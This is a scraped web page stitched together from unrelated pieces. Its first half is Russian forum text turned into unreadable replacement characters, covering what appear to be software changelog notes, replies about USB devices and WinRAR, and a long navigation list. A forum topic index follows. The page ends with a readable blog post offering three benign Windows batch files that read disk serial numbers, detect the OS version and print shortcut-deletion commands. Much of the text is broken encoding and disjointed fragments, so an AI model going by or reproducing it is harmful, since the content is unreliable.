* �������� Temporary Internet Files � History � �������� Internet (Mozilla Firefox).
* ����������� �������� ��� �������� Temporary Internet Files, Cookies � History � ������� Internet (Mozilla Firefox).
����������� �������� ���
* ��������� Firefox � Opera, ������������� ��� ���������������� ����������;
* Skype.
����������� � �������� �������� ���
* �������� Temporary Internet Files � History � ������� Internet (Opera);
* �������� Chat History � ������� Internet (Skype);
* ������� Recent Files � Recent Places �� ��������� Microsoft Excel, Microsoft PowerPoint � Microsoft Word � ������� Application Traces;
* �������� Problem Reports � ������� System.
������������� ������ ������� ������, ��� ��� �������������. ����� ������� ���, ����� ������ ������ �� ����� ������ ���, �� ���� ������ ���������, �� ����� �� ����� �� ���� �� ������������� ���������� �� �����.
������� ������� �����(�)
������������� ������ ������� ������
��ģ�������� ���� �� ���������, ����������� ���� � �����������. � � ���� ������ ������� �������������� �������.
��� ���� ����� ������, ţ ������������ ����� =)
� ���� �������������� ������� �������� ����� ��� ����������� ����
��, ��� ������� ���� �� �������
������ ������� �����
�� ����� �� ��� �������� ? � ������ ������� �� ���� ����� )
�� ��� ������ �� �� ������ ����� �����������, ��������-�� � �����-������ ���� �� RDP ����������, �������� � 3D…
���� ) ������� �������� ) �� ����������� ���
������������, ��� ������, ���� �� ��������������� �������� USB ���������, �������� �� ��� ATOL:
1. �������� ����� �������������� ��������� � ����������.
��� ����� � ��������� ������ ���������:
set devmgr_show_nonpresent_devices=1
��������� ��������� ���������
start devmgmt.msc
� ���� «���» ������ «�������� ������� ����������»
2. ����� ���������� USB ����������, ������� ������������ ����� ������. ������� ��, �.�. ��� ����� ���� ������-����� �������������� ������, ��� USB 3G ������.
3. ������������� ���������.
������ rar.exe ���� ���-�� ���������
� winrar.exe ����� ��� �� ��������. ������� �� ���������� ��������� ������ � ������� ������������ — ����� �� ���� ���� � ���� ��������/�������.
������ ������ � ��� �� �������� ��� � winrar ….
� �������� �� NN.RU
� ��� ���� ��� ������ �� NN.RU, ������� ������ �� ���� �� ����� ���� ����������.
�������������� �������, ����� ����� ����� ������.
� ���������� �����
����������
������� �������� �������
��������� ������
��������� �����
����������� / Covid-19
��������� ����� ��� ��������
������������� ��������
�������� �����
������� �����
�������
��������� ����������� �����
�������� �������
����������
��������� �������
������� �� �����
��� �����
4�4 �����
��������
������� �����
�����
������������
�������� �����
KIA-�����
���� �����
Hyundai �����
VAG �����
������ �������
����� ������: �������������� �����
����-�������� (�� ���� �������, ��������)
���������� �������
���������� �������: �����������
���������� �������: ��������
���������� �������: �������
���������� �������: ���� � �����
���������� �������: ������
���������� �������: ���� ����������, �������
���������� �������: ������
���������� �������: �������
���������� �������: ���������
���������� �������: �����
���������� ��������-�������
�������� ������
�������� ������: ��������
�������� ������: ������� ������ (��������)
�������� ������: ����-��� (�������)
�������� ������: �������
�������� ������: ���������
�������� ������: ���� ����������, �������
�������� ������: ��������
�������� ������: ������
�������� �������
�������� ������� — ����� �������
�������� ������� — ��������
�������� ������� — �������
�������� ������� — ���� ����������, �������
�������� ������� — ����������
����� �������
��� �����
��� ����� — ��������
��� ����� — ����������. �����
��� ����� — ����������: ������� ������
��� ����� — ����������: ������� �����
��� ����� — ����������: ������� ���������, �������, ������
��������
�������� (��������)
������ � ��. ��������
������� (������� ����������� �������)
������
�����������
�������� �����
������� ��������
����������� �����
�����������
��������� �����
����� ���������� �����
������. ��������.
������� �������
����������
��������� ��������
������ �� ���������
���������� �����
������� � ����
�����������
���� �����
������������� � �������������
����������
���������
�������� �����
�����, ������, ����������
���������
��������
�������� ��������
������ �����
����������
�����������
����������� �����
������� �����
������� �����: ��������
������� �����: �������� ��������
���� ����
���� ����
�������� �����
������ ����
�����������
��������-��
GPS �����
��������� �����
�����-�����
���������
����. � ������ ������
������ �����
������� � PR
����������
������������
���������� �����
��������
����� ���������
������� � �����
�����������
�����������
������ ���������
������������ ��
������������ ������
������������ ����� (��������)
����
����� ����������
������
����������������� � ����������
����� ������������ ����������
����� ���������������
��� ������������ ������
������, �����, �������
������, �����, �������
���������� ������
���� �����������
�������������
������ ���������
���������� ������� ���������
��������� ������� ���������
�����������
������������� �������
������������
������������
�������
��������� �����
���
������������� ������������
����� ������
������������� �����
���������� �����
��������� �����
��� ������ �������
������ �����
�������
����� ���������
������ �� (��. ����� ����������)
���������� ��
��������� �� (������������� ��.)
���������� ������� ��
�� ������������� ���� ��
������� ������ �� (��������� �����)
������� ���� �� (��������� �-��)
������ �� (����������� �-��)
�� �������� �� (�������� ��., � ���� 18)
������ ����� �� (�. �������)
����� �� (��. ��������� ��������)
������� ������ �� (��������� �-��)
������� �� (��������� �-��)
�� ���. (����� �������)
����������� ������ ���.
������������ ���.
����� ����� ���. (60-��� ������� ��.)
����� �� (�������� ��.)
������� ���� ��
��� ������ �����
������� ������
��������� �����
��������� ���� �����������
������� �� ����� iHerb
�������� �������
���������� � �������� �������
����� �������� ����
������ �����
����������� ������ ������
��� ������ ���������!
������-�������� �����-�������
����� ����������
������������
����� �������
������������ ���� ��������
������� ��� �����
���� �����!
����������� �����
������-��������
�����������
����� ������������ �����
��������
����� �����������
����� ����������
����� ����� �����������
������ � ����������� (������������)
�� ������ ������� ������ �� �������.
���������� ���������������� ������.
Страницы 1 2 Далее
Чтобы начать тему, нужно войти или зарегистрироваться
Темы в этом разделе, подробности: , просмотров, последнее сообщение.
- 51,234 просмотров
- Последнее сообщение 2011-09-14 20:35:12 alexii
- 1,243 просмотров
- Последнее сообщение 2022-07-08 00:14:56 Poltergeyst
- 657 просмотров
- Последнее сообщение 2022-05-10 02:34:41 Rumata
- 1,122 просмотров
- Последнее сообщение 2021-12-03 23:59:57 greg zakharov
- 12,546 просмотров
- Последнее сообщение 2021-10-30 01:19:06 Rumata
- 1,620 просмотров
- Последнее сообщение 2021-10-19 20:48:15 Rumata
- 761 просмотров
- Последнее сообщение 2021-10-18 12:43:33 Rumata
- 615 просмотров
- Последнее сообщение 2021-08-23 21:24:54 greg zakharov
- 3,087 просмотров
- Последнее сообщение 2019-08-05 21:22:08 Rumata
- 5,758 просмотров
- Последнее сообщение 2018-09-20 07:24:05 Rumata
- 3,063 просмотров
- Последнее сообщение 2016-10-30 02:48:16 Rumata
- 20,125 просмотров
- Последнее сообщение 2014-01-15 10:58:53 Rumata
- 8,018 просмотров
- Последнее сообщение 2013-10-23 23:01:00 wisgest
- 31,589 просмотров
- Последнее сообщение 2013-08-27 18:56:38 Rumata
- 16,451 просмотров
- Последнее сообщение 2013-01-06 11:43:59 wisgest
- Нет просмотров
- Нет сообщений
- Нет просмотров
- Нет сообщений
- 31,410 просмотров
- Последнее сообщение 2012-12-19 09:20:13 wisgest
- 10,232 просмотров
- Последнее сообщение 2012-08-22 02:19:11 Аскет
- 6,821 просмотров
- Последнее сообщение 2011-09-28 05:31:27 alexii
- 9,463 просмотров
- Последнее сообщение 2010-11-21 20:58:18 alexii
- 20,235 просмотров
- Последнее сообщение 2010-10-21 10:18:52 alexii
- 6,294 просмотров
- Последнее сообщение 2010-10-01 21:08:08 The gray Cardinal
- 59,106 просмотров
- Последнее сообщение 2010-06-10 21:24:05 Poltergeyst
- 13,149 просмотров
- Последнее сообщение 2010-05-24 03:00:39 alexii
- 7,542 просмотров
- Последнее сообщение 2010-01-28 03:11:32 Rumata
- 9,368 просмотров
- Последнее сообщение 2010-01-25 23:03:11 Rumata
- 83,448 просмотров
- Последнее сообщение 2010-01-21 22:48:50 Rumata
- 6,121 просмотров
- Последнее сообщение 2009-12-09 11:46:27 alexii
- 8,474 просмотров
- Последнее сообщение 2009-11-04 01:54:57 alexii
Страницы 1 2 Далее
Чтобы начать тему, нужно войти или зарегистрироваться
Написал admin. Опубликовано в рубрике Операционные системы
Здравствуйте, уважаемые читатели блога MyFirstComp.ru. В сегодняшней статье я решил сделать небольшую подборку готовых bat-файлов, которые, на мой взгляд, довольно интересные, и могут пригодиться как новичкам, так и опытным пользователям. Напомню, чтобы создать bat-файл, необходимо открыть Блокнот, и скопировать туда содержимое, которое будет приведено ниже. После этого нажимаем Файл/Сохранить как, и присваиваем файлу расширение bat, например так: program.bat.
Также можно запрограммировать выполнение «батника» на какой-то определенный день или время с помощью планировщика заданий.
Скажу сразу, что приведенные ниже примеры не претендуют на оригинальность и новизну, и, возможно, вы встречали их ранее. Но, тем не менее, я считаю их полезными, и хочу, чтобы вы с ними ознакомились. Надеюсь, авторы не будут против обнародования их интеллектуальной собственности:).
1. Получаем серийные номера всех съемных устройств и физических жестких дисков, а также имена разделов физических накопителей.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 |
@echo off&:: by Alex Dragokas Setlocal EnableDelayedExpansion EnableExtensions Echo. ::Получаем PNPDeviceID и PhysicalDrive Name устройств, подключенных по интерфейсу USB echo Перечень cъемных накопителей: echo. For /F "Skip=2 Tokens=2-4 delims=," %%i In ( 'WMIC DiskDrive Where InterfaceType^="USB" Get Name^,PNPDeviceID^,Model /Value /format:csv 2^>nul' ) do ( Set AtLeastOneDevice=true Call :Get_USB_SN "%%k" Device_SN Call :GetPartition "%%j" Drives Echo Model: %%i Echo %%j Echo Disk^(s^): !Drives! Echo Device S/N: "!Device_SN!" Echo. ) if not defined AtLeastOneDevice Echo Съемных USB накопителей не обнаружено. Echo. Echo Перечень жестких дисков: Echo. For /F "Skip=2 Tokens=2-4 delims=," %%i In ( 'WMIC DiskDrive Where "InterfaceType^!^='USB'" Get Name^,PNPDeviceID^,Model /Value /format:csv' ) do ( Call :GetPartition "%%j" Drives Call :Get_HDD_SN "%%j" Device_SN Echo Model: %%i Echo %%j Echo Disk^(s^): !Drives! Echo Device S/N: "!Device_SN!" Echo "!Device_SN!">>%~dp0file.txt Echo. ) pause>nul Goto :eof ::Парсим часть с серийным номером устройства :Get_USB_SN %1-in.PNPDeviceID %2-out.Device_S/N Set "%~2=" Set "PNP=%~1" Set "PNP=%PNP:=" "%" Set "PNP=%PNP:;=" "%" Set "PNP=%PNP:&=" "%" Set _Prev= For %%i in ("%PNP%") do ( if "!_Prev:~0,4!"=="REV_" (Set "%~2=%%~i"& Exit /B) Set "_Prev=%%~i" ) Exit /B :Get_HDD_SN %1.in-PhysicalDrive_Name %2-out.Device_S/N Set "tag=%~1" Set "tag=%tag:=\%" For /F "UseBackQ skip=2 tokens=2 delims=," %%i In ( `wmic path Win32_PhysicalMedia where "tag='%tag%'" Get SerialNumber /format:csv` ) do call set "_serial=%%i" ::Выше используется Call, чтобы удалить служебный символ 0x0D из переменной set "_serial=%_serial: =%" ::Проверяем признак 16-ричного кода (ответ длинной 40 символов) if "%_serial:~39,1%" neq "" Call :Hex_To_String "%_serial%" "_serial" set "%~2=%_serial%" Exit /B :Hex_To_String %1-in.Reversed.Hex.Number %2-out.String SetLocal& set "x16=%~1" set n=45 for %%A in (- . / 0 1 2 3 4 5 6 7 8 9) do set s.!n!=%%A& set /a n+=1 set n=65 for %%A in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) do set s.!n!=%%A& set /a n+=1 set n=97 for %%A in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do set s.!n!=%%A& set /a n+=1 set xs= for /L %%C in (0,4,8184) do ( if "!x16:~%%C,1!"=="" goto _ex_Hex set /A cplus=%%C+2 call set /A x10=0x%%x16:~!cplus!,2%% call set xs=!xs!%%s.!x10!%% set /A x10=0x!x16:~%%C,2! call set xs=!xs!%%s.!x10!%% ) :_ex_Hex EndLocal& set "%~2=%xs%"& Exit /B ::Конвертация PhysicalDrive Name -> Partition Names -> Drive Names :GetPartition %1.in-PhysicalDrive_Name %2-out.Drive_Names Set "%~2=" For /F "skip=2 delims==, tokens=3,6-7" %%i In ( 'WMIC path Win32_DiskDriveToDiskPartition get /format:csv' ) do ( if %%i=="%~1" ( For /F "skip=2 delims==, tokens=3-4,7" %%I In ( 'WMIC path Win32_LogicalDiskToPartition get Antecedent^,Dependent /format:csv' ) do ( if "%%I,%%J"=="%%j,%%k" Set "%~2=!%~2! %%K" ))) Exit /B |
2. Определяем версию, разрядность и сборку операционной системы.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
@echo off SetLocal EnableExtensions Call :GetSystemVersion "OSVer" "Core" "Build" Echo Your operating system: %OSVer% %Core% %Build% pause goto :eof :GetSystemVersion :: Определить версию ОС :: %1-исх.Переменная для хранения названия ОС :: %2-исх.Переменная для хранения разрядности ОС :: %3-исх.Переменная для хранения версии сборки ОС If /i "%PROCESSOR_ARCHITECTURE%"=="x86" (set %~2=x32) else (set %~2=x64) For /F "delims=" %%a in ('ver') do set _ver=%%a Set _ver="%_ver: =" "%" For %%a in (%_ver%) do set _ver=%%~a for /F "delims=]" %%a in ("%_ver%") do set %~3=%%a set _ver=%_ver:~0,3% SET %~1=Unknown if "%_ver%"=="5.0" SET %~1=Windows 2000 if "%_ver%"=="5.1" SET %~1=Windows XP if "%_ver%"=="5.2" SET %~1=Windows 2003 if "%_ver%"=="6.0" ( Reg.exe query "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersion" /v "ProductName"|>nul Find /i "Vista"&&( SET %~1=Windows Vista) || (SET %~1=Windows 2008) ) if "%_ver%"=="6.1" SET %~1=Windows 7 if "%_ver%"=="6.2" SET %~1=Windows 8 if "%_ver%"=="6.3" SET %~1=Windows 8.1 set _ver= Exit /B |
3. Удаляем ярлыки с рабочего стола.
1 2 3 4 5 6 7 8 9 10 11 |
@echo off chcp 1251 setlocal set files=Русс.lnk 1111*.lnk *z.lnk %homedrive% if exist "%homedrive%%homepath%desktop" (set homedesk=desktop) else (set homedesk=Рабочий стол) if exist "%public%" (set comdesk=%public%%homedesk%) else (set comdesk=%allusersprofile%%homedesk%) chdir "%homedrive%%homepath%%homedesk%" for %%a in (%files%) do (echo del /q "%%a"&echo del /q "%comdesk%%%a" >nul) endlocal chcp 866 |
Подписывайся на канал MyFirstComp на YouTube!
Загрузка…
Теги: bat-файлы, батник
Трекбэк с Вашего сайта.